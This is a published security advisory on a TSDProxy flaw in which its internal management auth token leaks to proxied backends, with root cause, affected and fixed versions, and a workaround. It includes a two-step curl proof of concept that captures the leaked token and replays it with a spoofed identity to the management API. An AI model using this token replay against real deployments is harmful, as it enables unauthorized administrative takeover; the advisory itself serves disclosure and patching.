critical · 9Jul 10, 2026

TSDProxy: Internal Auth Token Leaked to Backend Services Enables Management API Takeover

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

TSDProxy forwards its internal management authentication token to every proxied backend service, letting any backend on the same host replay that token to gain full admin control over TSDProxy's manag

Packagegithub.com/almeidapaulopt/tsdproxy
Ecosystemgo
Affected< 1.4.4-0.20260603142855-434819b4421e
Fixed in1.4.4-0.20260603142855-434819b4421e

The problem

When `identityHeaders` is enabled (the default), TSDProxy injects the `x-tsdproxy-auth-token` header into every outgoing upstream request. That token is the same secret the management HTTP server uses to trust identity claims.

The leak is unconditional: `WhoisFromContext` returns `ok=true` even for a zero-value `Whois{}`, so the token is set on every request regardless of whether the user authenticated. The management port's `ResolveWhois` function then accepts any `x-tsdproxy-id` value from localhost as long as the token is present, giving the caller a free identity to impersonate.

Proof of concept

A working proof-of-concept for this issue in github.com/almeidapaulopt/tsdproxy, with the exact payload below.

bash
# 1. Capture the token leaked in a backend request (e.g. via a header-reflection endpoint)
TOKEN=$(curl -s http://localhost:3000/debug/headers \
  | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['headers'].get('X-Tsdproxy-Auth-Token',''))")

# 2. Replay from localhost to the management port with an arbitrary identity
curl -H "x-tsdproxy-auth-token: $TOKEN" \
     -H "x-tsdproxy-id: attacker" \
     http://127.0.0.1:8080/api/v1/proxies
# Returns full proxy list with admin access

The root cause is two cooperating bugs. In `internal/proxymanager/port.go` (lines 123-132), the `ReverseProxy.Rewrite` function sets `HeaderAuthToken` on the outgoing backend request whenever `identityHeaders=true`, using only an `ok` boolean from `WhoisFromContext` that is `true` even for an empty struct.

In `internal/core/admin.go` (lines 160-182), `ResolveWhois` blindly trusts the `x-tsdproxy-id` header from any localhost connection that presents a valid token.

The fix removes `HeaderAuthToken` from all outgoing backend requests entirely, and adds an `user.ID != ""` guard so identity headers are only injected for genuinely authenticated users. This maps to CWE-200 (information exposure) and CWE-287 (improper authentication).

The fix

Upgrade to `1.4.4-0.20260603142855-434819b4421e` or later. The patch removes `x-tsdproxy-auth-token` from all upstream requests and gates identity-header injection on a non-empty user ID. As a temporary workaround, set `identityHeaders: false` in your proxy configuration to stop the token from being forwarded.

Reported by Vishal Shukla (@shukla304 / @therawdev).

References: [1][2]

Related research